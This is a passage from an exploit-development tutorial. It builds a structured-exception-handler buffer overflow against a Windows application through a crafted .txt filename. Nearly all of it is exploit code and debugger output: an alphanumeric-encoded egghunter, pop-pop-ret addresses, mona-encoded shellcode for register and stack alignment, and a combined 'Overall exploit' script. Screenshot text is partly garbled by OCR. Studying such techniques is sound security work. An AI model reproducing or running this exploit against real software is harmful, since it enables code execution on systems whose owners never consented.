\u3014 \u3014 Uith size 117 (iteration=\u00dc) \nx86\/alpha mixed chosen Uith final size 117 \nPayload size: 117 hytes\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>encoded_egghunter= &#8220;JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI2FMQyZYovoBbqBcZwrpXZm4nwLveCjd48omh3GP0VPCDlKijNO0uYznOt5HgkO8gAA&#8221;<br>offset = &#8220;A&#8221;*27 + encoded_egghunter + &#8220;A&#8221;*27 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # total of 171offset += &#8220;B&#8221;*123 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # total offset = 171 + 123 = 294 294nseh = &#8220;B&#8221;*4seh = &#8220;\\x33\\x28\\x42\\x00&#8221;&nbsp; &nbsp; &nbsp; # pop pop ret 00422833junk = &#8220;D&#8221;* (4064-298-4)<br><br>payload = offset + nseh + seh + junkpayload += &#8220;.txt&#8221;<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>In the end, the payload will look like the following:&#8221;A&#8221;*n + egghunter + &#8220;JMP[egghunter]&#8221; + POPPOPRET + [Egg + Shellcode]<br><\/p>\n\n\n\n<h2>Get to the Egghunter Payload<\/h2>\n\n\n\n<p>Now we&#8217;ll use the remaining 123 bytes to get to our egghunter<br>Plan:&nbsp;Zero out EAXCalculate the value of the address of our shellcode, in little-endian orderPush the address in EAX onto the stackPop the value into EDXZero out EAX (not strictly necessary, but easier math)Push ESP onto the stackPop the value into EAXAdjust the stack address to point to an address below our decoder so that once we\u2019ve decoded it, we automatically execute itPush EAX onto the stackPop the value into ESP, making it so if we push a value, we\u2019ll be writing below our current executionPush JMP EDX instruction<br>Opcodes that we need &#8211; nasm_shellThe address of our shellcode in memoryPOP EDX opcode = \\x5APUSH ESP opcode = \\x54POP EAX opcode = \\x58PUSH EAX opcode = \\x50POP ESP opcode = \\x5CJMP EDX opcode = \\xFF\\xE2<br>nasm_shell.rb<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/8m3E86W5Enxe9VwgEv5JT3ZjSn_uYH0nAlHjPteh_GqJfMxWD1C0CzMDN-823S38TW0us2He6-AHXqyu2dFEBRj3R3vux3ZnqWLerZvGvC7j25_nxCAkcSlKRabNpOWi4XqKLy9W\" alt=\"root.\u00dfkalisa. # \/usr\/share\/metasploit\u2014frarnework\/tools\/exploit\/nasm \nshe 11 . rh \n\u3009 POP edx \nnasm \n\u53e3\u53e3\u53e3\u53e3\u53e3\u53e3\u53e3\u53e3 5 A \n\u3009 push esp \nnasm \n\u53e3\u53e3\u53e3\u53e3\u53e3\u53e3\u53e3\u53e3 5 \n\u3009 POP eax \nnasm \n\u53e3\u53e3\u53e3\u53e3\u53e3\u53e3\u53e3\u53e3 5B \n\u3009 push eax \nnasm \n\u53e3\u53e3\u53e3\u53e3\u53e3\u53e3\u53e3\u53e3 5\u53e3 \n\u3009 POP esp \nnasm \n\u53e3\u53e3\u53e3\u53e3\u53e3\u53e3\u53e3\u53e3 5 C \n\u3009 jmp edx \nnasm \n\u53e3\u53e3\u53e3\u53e3\u53e3\u53e3\u53e3\u53e3 FFEZ \nPOP edx \npush esp \nPOP eax \npush eax \nPOP \nesp \nedx\"\/><\/figure>\n\n\n\n<p>The address of egghunter:<br>The beginning of our egghunter between &#8220;A&#8221;&#8216;s is as below (0012FAF1). But it&#8217;s not divisible by 4 so we&#8217;ll start it one byte above with the following:&#8221;A&#8221;*26 + egghunter + &#8220;A&#8221;*28<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/OkTlskAL9My6FE9cOiJpAFmCj7Woxr8-EIXFi6A_b9s9-leTxFLpLvo86hPUiqvDCSTqXbGi2PKK9fGzEzzxF1w9qw9ObSTWbFRgtGhLMI39IjNrIQttJ8w6bHu5yW58iLkYeAvX\" alt=\"0012FQEQ \n0012FQEB \n0012FQEC \n0012FQED \n0012FQEE \n0012FQEF \n0012FQF\u00d8 \n0012FQF1 \n0012FQF2 \n0012FQF3 \n0012FQF4 \n0012FQF5 \n0012FQF6 \n0012FQF? \n41 \n41 \n41 \n41 \n41 \n41 \n41 \nINC \nINC \nINC \nINC \nINC \nINC \nINC \nDEC \nDEC \nDEC \nDEC \nDEC \nDEC \nDEC\"\/><\/figure>\n\n\n\n<p>Now our egghunter starts at 0012FAF0<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/NfaD1FhCrG9E0TBKXVK_boXe6JkIW0ja4XDTGGQwjoguPJx30TX2MseuJ_z-O3KzF1F-9L_tOaEB6uBlH4uqXRA7ELKBsb0W6l1cB_thFh1oRyUzhbmrY5UIhw5Rrjdj6Z6QIIsU\" alt=\"0012PAEC \n\u03b2\u03b212\u03a1\u0391\u03a11 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \nINC \nINC \nINC \nINC \nINC \nINC \nINC \nDEC \nDEC \nDEC \nDEC \n\u0395\u0399\u039c \n\u0395\u0399\u039c \n\u0395\u0399\u039c \n\u0395\u0399\u039c\"\/><\/figure>\n\n\n\n<p>The address of our shellcode in memory = 0012FAF0POP EDX opcode = \\x5APUSH ESP opcode = \\x54POP EAX opcode = \\x58PUSH EAX opcode = \\x50POP ESP opcode = \\x5CJMP EDX opcode = \\xFF\\xE2<br>Zero out EAX (using AND EAX)<br>AND EAX = \\x25<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>%JMNU : \\x25\\x4a\\x4d\\x4e\\x55 : AND EAX,0x554E4D4A&nbsp;%521* : \\x25\\x35\\x32\\x31\\x2a : AND EAX,0x2A313235<br>Binary of hex numbers:0x554E4D4A = 1010101010011100100110101001010&nbsp;0x2A313235 = 0101010001100010011001000110101<br>XOR&#8217;ing them gives us 0<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2>Encoding a Value:<\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>Shellcode Address = 0012FAF0Little endian format: \\xF0\\xFA\\x12\\x00Compliment: \\x00\\x12\\xFA\\xF0<br>hexOfDecimal(4294967296-decimalOfHex(0012FAF0)) = FFED0510<br>decimalOfHex: 0012FAF0 = 12438884294967296 &#8211; 1243888 = 42937234084293723408 in hex is FFED0510<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>Zero out EAX + PUSH EAX + POP EDX<br>!mona encode -t alphanum -s &#8216;\\xF0\\xFA\\x12\\x00&#8217;<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>Results:&#8212;&#8212;&#8211;&nbsp;&nbsp;%JMNU : \\x25\\x4a\\x4d\\x4e\\x55 : AND EAX,0x554E4D4A&nbsp;&nbsp;%521* : \\x25\\x35\\x32\\x31\\x2a : AND EAX,0x2A313235&nbsp;&nbsp;-ZVNU : \\x2d\\x5a\\x56\\x4e\\x55 : SUB EAX,0x554e565a&nbsp;&nbsp;-ZVNU : \\x2d\\x5a\\x56\\x4e\\x55 : SUB EAX,0x554e565a&nbsp;&nbsp;-\\XPU : \\x2d\\x5c\\x58\\x50\\x55 : SUB EAX,0x5550585c&nbsp;&nbsp;P : \\x50 : PUSH EAX<br>Full encoded string:&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;%JMNU%521*-ZVNU-ZVNU-\\XPUP<br>Full encoded hex:&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\x25\\x4a\\x4d\\x4e\\x55\\x25\\x35\\x32\\x31\\x2a\\x2d\\x5a\\x56\\x4e\\x55\\x2d\\x5a\\x56\\x4e\\x55\\x2d\\x5c\\x58\\x50\\x55\\x50<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td># 27 bytesshellcode_to_edx = (&nbsp;&nbsp;&#8220;\\x25\\x4a\\x4d\\x4e\\x55&#8221;&nbsp; &nbsp; &nbsp; &nbsp; # AND EAX,0x554E4D4A&nbsp;&nbsp;&#8220;\\x25\\x35\\x32\\x31\\x2a&#8221;&nbsp; &nbsp; &nbsp; &nbsp; # AND EAX,0x2A313235&nbsp;&nbsp;&#8220;\\x2d\\x5a\\x56\\x4e\\x55&#8221;&nbsp; &nbsp; &nbsp; &nbsp; # SUB EAX,0x554e565a&nbsp;&nbsp;&#8220;\\x2d\\x5a\\x56\\x4e\\x55&#8221;&nbsp; &nbsp; &nbsp; &nbsp; # SUB EAX,0x554e565a&nbsp;&nbsp;&#8220;\\x2d\\x5c\\x58\\x50\\x55&#8221;&nbsp; &nbsp; &nbsp; &nbsp; # SUB EAX,0x5550585c&nbsp;&nbsp;&#8220;\\x50&#8221;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # PUSH EAX&nbsp;&nbsp;&#8220;\\x5A&#8221; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # POP EDX)<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>So we use 27 bytes to get our shellcode location into EDX<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/Q5t_E3thdB_E_iApOxbBFmi3Rpqfo2L53RF7z76mjXCb8pk33YiPA4t4v3XQyZzsm9npXgWsLIv1AkNau5UkmNH1lE4E-3zFdA2KyFRWkitEsW9bjlh6YyoMhjQZA9mQHKIjRE8o\" alt=\"0012FB81 \n0012FB82 \n0012FB83 \n0012FB84 \n0012FB85 \n0012FB8Q \n0012FB8F \n0012FB94 \n0012FB99 \n0012FB9E \n0012FB9F \n0012FBQ\u00d8 \n0012FBQ1 \n0012FBQ2 \n42 \n42 \n42 \n42 \n25 \n25 \n50 \n59 \n43 \n43 \n43 \n494D4E55 \n35323129 \n59564E55 \n59564E55 \n5C585055 \nINC \nINC \nINC \nINC \nAND \nAND \nSUB \nSUB \nSUB \nPUSH \nPOP \nINC \nINC \nINC \nntdll. \n'?C90 \nRegisters (3DNow! ) \n554E4D4Q \n29313235 \nEQ*554E565Q \nEQ*554E565Q \nEQ*5550585c \nESP \nEBP \nESI \nEDI \nEIP \nPI \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \n713903298 \n?C9\u00d832BC \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \n0012F5C\u00d8 \n0012F698 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \n0012FB81 \nES 0023 \nCS 001B \nSS 9023 \nntdll. \nntdll. \n32bit \n32bit \n32bit \n713903298 \n?C9\u00d832BC \nO<FFFFFFFF) \nO<FFFFFFFF) \nO<FFFFFFFF)\"\/><\/figure>\n\n\n\n<h2>Decode Stack Alignment<\/h2>\n\n\n\n<p>The place to align the stack to and decode our JMP EDX to (need to be a multiple of four)sub eax = \\x2d<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/jA7VJZ5wuDyfGrCjUp6L9cdpH11K9YsC0UfWiB03-U_ep6GwJo96apJU1_Eiluw-w-u0IbbjKNrRmbIt4wq_J0A_CrmYsksqSQQHIh0vBJIfFeOJQR1URDHjiRnBrJJ9BBUdhZ8x\" alt=\"0012FBF3 \n0012FBF4 \n0012FBF5 \n0012FBF6 \n0012FBF? \n0012FBF8 \n0012FBF9 \n0012FBFQ \n0012FBFB \n0012FBFC \n42 \n42 \n42 \n42 \n42 \n42 \n42 \n42 \n42 \n71 \n83 \nINC \nINC \nINC \nINC \nINC \nINC \nINC \nINC \nINC \nJNO \nRegisters (MM* ) \nSHORT \n0012FB81 \nESP \nEBP \nESI \nEDI \nEIP \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \n713903298 ntd11.?C9\u00d832Q8 \n?C9\u00d832BC ntd11.?C9\u00d832BC \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \n0012F5C\u00d8 \n0012F698 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \n0012FB81\"\/><\/figure>\n\n\n\n<p>Place for it: 0012FBF8ESP: 0012F5C0<br>0012F5C0 (ESP) &#8211; 0012FBF8 (Target) = FFFFF9C8<br>FFFFF9C8\/3 = 5555534255 55 53 42&nbsp;55 55 53 4255 55 53 44<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td># 19 bytesdecode_stack_alignment = (&nbsp;&nbsp;&nbsp;&nbsp;&#8220;\\x54&#8221; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # PUSH ESP&nbsp;&nbsp;&nbsp;&nbsp;&#8220;\\x58&#8221; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # POP EAX&nbsp;&nbsp;&nbsp;&nbsp;&#8220;\\x2d\\x42\\x53\\x55\\x55&#8221;&nbsp; # SUB EAX, 0x55555342&nbsp;&nbsp;&nbsp;&nbsp;&#8220;\\x2d\\x42\\x53\\x55\\x55&#8221;&nbsp; # SUB EAX, 0x55555342&nbsp;&nbsp;&nbsp;&nbsp;&#8220;\\x2d\\x44\\x53\\x55\\x55&#8221;&nbsp; # SUB EAX, 0x55555344&nbsp;&nbsp;&nbsp;&nbsp;&#8220;\\x50&#8221;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # PUSH EAX&nbsp;&nbsp;&nbsp;&nbsp;&#8220;\\x5c&#8221;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # POP ESP)<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>EAX is full of egghunter<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/IFJPk011_7-8oMdiJMJ4n0tZqGDD6BlSyv5wq0zJcvKmCl_t_NTy7Dc3Ac2IMvSrW43TjNim3dcZBFpuMn-C--FHuz3vKM9XAWJJURouoEL8LbzopKhmIwplmWFSLt2DBfz5Q7-i\" alt=\"0012FB82 \n0012FB83 \n0012FB84 \n0012FB85 \n0012FB8Q \n0012FB8F \n0012FB94 \n0012FB99 \n0012FB9E \n0012FB9F \n0012FBQ\u00d8 \n0012FBQ1 \n0012FBQ2 \n0012FBQ? \n42 \n42 \n42 \n25 \n25 \n50 \n59 \n54 \n58 \n494D4E55 \n35323129 \n59564E55 \n59564E55 \n5C585055 \n42535555 \n42535555 \nINC \nINC \nINC \nAND \nAND \nSUB \nSUB \nSUB \nPUSH \nPOP \nPUSH \nPOP \nRegisters (FPO) \n554E4D4Q \n29313235 \nEQ*554E565Q \nEQ*554E565Q \nEQ*5550585c \nESP \nEBP \nESI \nEDI \nEIP \n0012FQF\u00d8 \n713903298 \n?C9032C0 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \n0012F5C\u00d8 \n0012F698 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \n0012FB9E \nES 0023 \nCS 001B \nSS 9023 \nntdll. \nntdll. \n32bit \n32bit \n32bit \n713903298 \n?C9032C0 \nO<FFFFFFFF) \nO<FFFFFFFF) \nO<FFFFFFFF)\"\/><\/figure>\n\n\n\n<p>After POP EDX, now EDX is filled with egghunter<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/vw66NNytW8sbZAYhn5L6Ku-YT-fXPQ1cHbVVqJFEOVZ6ZODg8nilNN1nObYe20V3lVn3GDJ_CxzFnqKeJvbjC6mXjdKeq8s-s-vayrJu-KH5lWFXJmVursKWgobsFIrZifQWuY0T\" alt=\"0012FB82 \n0012FB83 \n0012FB84 \n0012FB85 \n0012FB8Q \n0012FB8F \n0012FB94 \n0012FB99 \n0012FB9E \n0012FB9F \n0012FBQ\u00d8 \n0012FBQ1 \n0012FBQ2 \n42 \n42 \n42 \n25 \n25 \n50 \n59 \n54 \n58 \n494D4E55 \n35323129 \n59564E55 \n59564E55 \n5C585055 \n42535555 \nINC \nINC \nINC \nAND \nAND \nSUB \nSUB \nSUB \nPUSH \nPOP \nPUSH \nPOP \nRegisters (FPO) \n554E4D4Q \n29313235 \nEQ*554E565Q \nEQ*554E565Q \nEQ*5550585c \nESP \nEBP \nESI \nEDI \nEIP \nPI \n0012FQF\u00d8 \n713903298 ntd11.?C9\u00d832Q8 \n0012FQF\u00d8 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \n0012F5C\u00d8 \n0012F698 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \n0012FBQ\u00d8 \nES 0023 32bit \nO<FFFFFFFF) \nCS 001B 32bit \nO<FFFFFFFF)\"\/><\/figure>\n\n\n\n<p>After POP EAX, it doesn&#8217;t hold egghunter anymore<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/J_139wB9HKsgf5Pd2JfA6D_I7ZVr79xPUuETAfA3oSbtPTyRArZRVuehhEOblRNAbtBJ5MJMjJMt0F8r_sP3a-wQ7cDReGBwyB5i-b8xMV16rHnPl9DbK3K_QKvwIzJOyIxAIaBr\" alt=\"0012FB82 \n0012FB83 \n0012FB84 \n0012FB85 \n0012FB8Q \n0012FB8F \n0012FB94 \n0012FB99 \n0012FB9E \n0012FB9F \n0012FBQ\u00d8 \n0012FBQ1 \n0012FBQ2 \n42 \n42 \n42 \n25 \n25 \n50 \n59 \n54 \n58 \n494D4E55 \n35323129 \n59564E55 \n59564E55 \n5C585055 \n42535555 \nINC \nINC \nINC \nAND \nAND \nSUB \nSUB \nSUB \nPUSH \nPOP \nPUSH \nPOP \nRegisters (FPO) \n554E4D4Q \n29313235 \nEQ*554E565Q \nEQ*554E565Q \nEQ*5550585c \nESP \nEBP \nESI \nEDI \nEIP \nPI \n0012F5C\u00d8 \n713903298 \n0012FQF\u00d8 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \n0012F5C\u00d8 \n0012F698 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \n0012FBQ2 \nES 0023 \nCS 001B \nntdll. \n32bit \n32bit \n713903298 \nO<FFFFFFFF) \nO<FFFFFFFF)\"\/><\/figure>\n\n\n\n<p>After POP ESP, ESP holds the address 0012FBF8 which we want to go<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/hTJynPQ0kTQ_fsVCPnVJgpqgrI0nOtiZ4mjtEsD-YCtHkuPTXdTz-p7AG6c9FBuyXvKNzrX6j51uLTkyBzTs_Cq4q4ycwjLIZaNQXAm3HQGCvR3yVlfbm2gUsuKOLmDPtaM97Md7\" alt=\"0012FB82 \n0012FB83 \n0012FB84 \n0012FB85 \n0012FB8Q \n0012FB8F \n0012FB94 \n0012FB99 \n0012FB9E \n0012FB9F \n0012FBQ\u00d8 \n0012FBQ1 \n0012FBQ2 \n0012FBQ? \n0012FBQC \n0012FBB1 \n0012FBB2 \n0012FBB3 \n0012FBB4 \n0012FBB5 \n42 \n42 \n42 \n25 \n25 \n50 \n59 \n54 \n58 \n50 \n43 \n43 \n43 \n494D4E55 \n35323129 \n59564E55 \n59564E55 \n5C585055 \n42535555 \n42535555 \n44535555 \nINC \nINC \nINC \nAND \nAND \nSUB \nSUB \nSUB \nPUSH \nPOP \nPUSH \nPOP \nPUSH \nPOP \nINC \nINC \nINC \nRegisters (FPO) \n554E4D4Q \n29313235 \nEQ*554E565Q \nEQ*554E565Q \nEQ*5550585c \nESP \nEBP \nESI \nEDI \nEIP \n0012FBF8 \n713903298 \n0012FQF\u00d8 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \n0012FBF8 \n0012F698 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \n0012FBB3 \nES 0023 \nCS 001B \nSS 0023 \n23 \n3B \nntdll. \n32bit \n32bit \n32bit \n32bit \n32bit \nNULL \n713903298 \nO<FFFFFFFF) \nO<FFFFFFFF) \nO<FFFFFFFF) \nO<FFFFFFFF) \nESP \nProgress \nProgress Log \nClose \nERROR_FI _FOUND \n(00000002 ) \n02\"\/><\/figure>\n\n\n\n<p>And our payload looks like following overall<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>encoded_egghunter=&#8221;JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI2FMQyZYovoBbqBcZwrpXZm4nwLveCjd48omh3GP0VPCDlKijNO0uYznOt5HgkO8gAA&#8221;<br>offset = &#8220;A&#8221;*26 + encoded_egghunter + &#8220;A&#8221;*28 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # total of 171offset += &#8220;B&#8221;*4 + shellcode_to_edx + decode_stack_alignmentoffset += &#8220;B&#8221;*(123-4-len(shellcode_to_edx)-len(decode_stack_alignment))&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;nseh = &#8220;\\x71\\x9f\\x70\\x9f&#8221;seh = &#8220;\\x33\\x28\\x42\\x00&#8221;&nbsp; &nbsp; &nbsp; # pop pop ret 00422833junk = &#8220;D&#8221;* (4064-298-4)<br>payload = offset + nseh + seh + junkpayload += &#8220;.txt&#8221;<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2>Encode JMP EDX<\/h2>\n\n\n\n<p>!mona encode -t alphanum -s &#8216;\\x90\\x90\\xFF\\xE2&#8217;<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>Results:&#8212;&#8212;&#8211;&nbsp;&nbsp;%JMNU : \\x25\\x4a\\x4d\\x4e\\x55 : AND EAX,0x554E4D4A&nbsp;&nbsp;%521* : \\x25\\x35\\x32\\x31\\x2a : AND EAX,0x2A313235&nbsp;&nbsp;-%%U^ : \\x2d\\x25\\x25\\x55\\x5e : SUB EAX,0x5e552525&nbsp;&nbsp;-%%U^ : \\x2d\\x25\\x25\\x55\\x5e : SUB EAX,0x5e552525&nbsp;&nbsp;-&amp;%V` : \\x2d\\x26\\x25\\x56\\x60 : SUB EAX,0x60562526&nbsp;&nbsp;P : \\x50 : PUSH EAX<br>Full encoded string:&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;%JMNU%521*-%%U^-%%U^-&amp;%V`P<br>Full encoded hex:&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\x25\\x4a\\x4d\\x4e\\x55\\x25\\x35\\x32\\x31\\x2a\\x2d\\x25\\x25\\x55\\x5e\\x2d\\x25\\x25\\x55\\x5e\\x2d\\x26\\x25\\x56\\x60\\x50<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/t3nCn2QF064IQ1gOLRMYFedv-6TIH1JcnHhHJuSmyukF2k9gvlhM2xrLMvsq-3JiTQAXlzwW3PJx0g6g1s0K-9jeBVB_cAO4_1TIWFRpeXOE_t7jzCPzYtIaBN5mp5VCCS3Grzwp\" alt=\"OBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \nOBQDF\u00d8\u00d8D \n[+] Command used: \n! mona encode \u2014t alphanum \u2014s ' \n[+] Using alphanum encoder \n[+] Received 4 bytes to encode \n[+] NY of bad chars: 0 \n[+] Processing block 1\/1 \nOX77f10000 \nOX73dCOOOO \nOx6d7eOOOO \nOx77920000 \nOX7e410000 \nOX77120000 \nResults: \n%-IMNU . \n36521 u \nox77f5gooo \nox73dcgooo \nox6d7f2000 \nOX77a13000 \nOx7e4a1000 \nOx771abOOO \nOX00003000 \nOX00012000 \nOXOOOf3000 \nOx00091000 \nOXOOOBbOOO \nT rue \nT rue \nT rue \nT rue \nEA.x, Ox554E404A. \nEA.x, OX2A313235 \nEA.x, OX5e552525 \nEA.x, OX5e552525 \nEA.x, OX60562526 \n5.1. 2600. 6460 CG0132.c \n5.1. \n5.1. 2600.0 C030XOF.OLL \n5.1. 2600. 5603 C SETUPAF \n5.1. 2600. 5512 Cuser32. \n6341 Col eaut3 \n5.1. 2600. \nOpcode to produce \nreversed \n2' s complement \n\u2022 90 90 \n60 56 \n90 \n25 \n90 \n26 \n5\\x4 a\\x4 d\\x4 ex x 5 5 \n. PUSH EAX \n. AND \nAND \nsua \nsua \nsua \nPreparing output file \n(Re)setting logf ile \n' encoded_alphanum . txt ' \nencoded_alphanum . txt \nGenerating module info table. hang on. \nProcessing modules \nDone. Let's rock 'n roll. \nResults : \nzJMNU : \nPUSH \nFull encoded string: \nFull encoded string: \nFull encoded hex: \n5\\x4 a\\x4 d\\x4 5 5\\x2 d\\x2 5\\x2 5 5 d\\x2 5\\x2 5 5 d\\x2 5 5 0 \n. AND \nAND \nSUB \nSUB \nSUB \nThis mona. \naction took \nOx554E4D4Q \n5<29313235 \nOx5e552525 \nOx5e552525 \n5<60562526 \n515000 \n!mona encode -t alphanum\"\/><\/figure>\n\n\n\n<h2>Overall exploit:<\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>encoded_egghunter=&#8221;JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI2FMQyZYovoBbqBcZwrpXZm4nwLveCjd48omh3GP0VPCDlKijNO0uYznOt5HgkO8gAA&#8221;<br># 27 bytesshellcode_to_edx = (&nbsp;&nbsp;&#8220;\\x25\\x4a\\x4d\\x4e\\x55&#8221;&nbsp; &nbsp; &nbsp; &nbsp; # AND EAX,0x554E4D4A&nbsp;&nbsp;&#8220;\\x25\\x35\\x32\\x31\\x2a&#8221;&nbsp; &nbsp; &nbsp; &nbsp; # AND EAX,0x2A313235&nbsp;&nbsp;&#8220;\\x2d\\x5a\\x56\\x4e\\x55&#8221;&nbsp; &nbsp; &nbsp; &nbsp; # SUB EAX,0x554e565a&nbsp;&nbsp;&#8220;\\x2d\\x5a\\x56\\x4e\\x55&#8221;&nbsp; &nbsp; &nbsp; &nbsp; # SUB EAX,0x554e565a&nbsp;&nbsp;&#8220;\\x2d\\x5c\\x58\\x50\\x55&#8221;&nbsp; &nbsp; &nbsp; &nbsp; # SUB EAX,0x5550585c&nbsp;&nbsp;&#8220;\\x50&#8221;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # PUSH EAX&nbsp;&nbsp;&#8220;\\x5A&#8221; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # POP EDX)<br># 19 bytesdecode_stack_alignment = (&nbsp;&nbsp;&nbsp;&nbsp;&#8220;\\x54&#8221; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # PUSH ESP&nbsp;&nbsp;&nbsp;&nbsp;&#8220;\\x58&#8221; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # POP 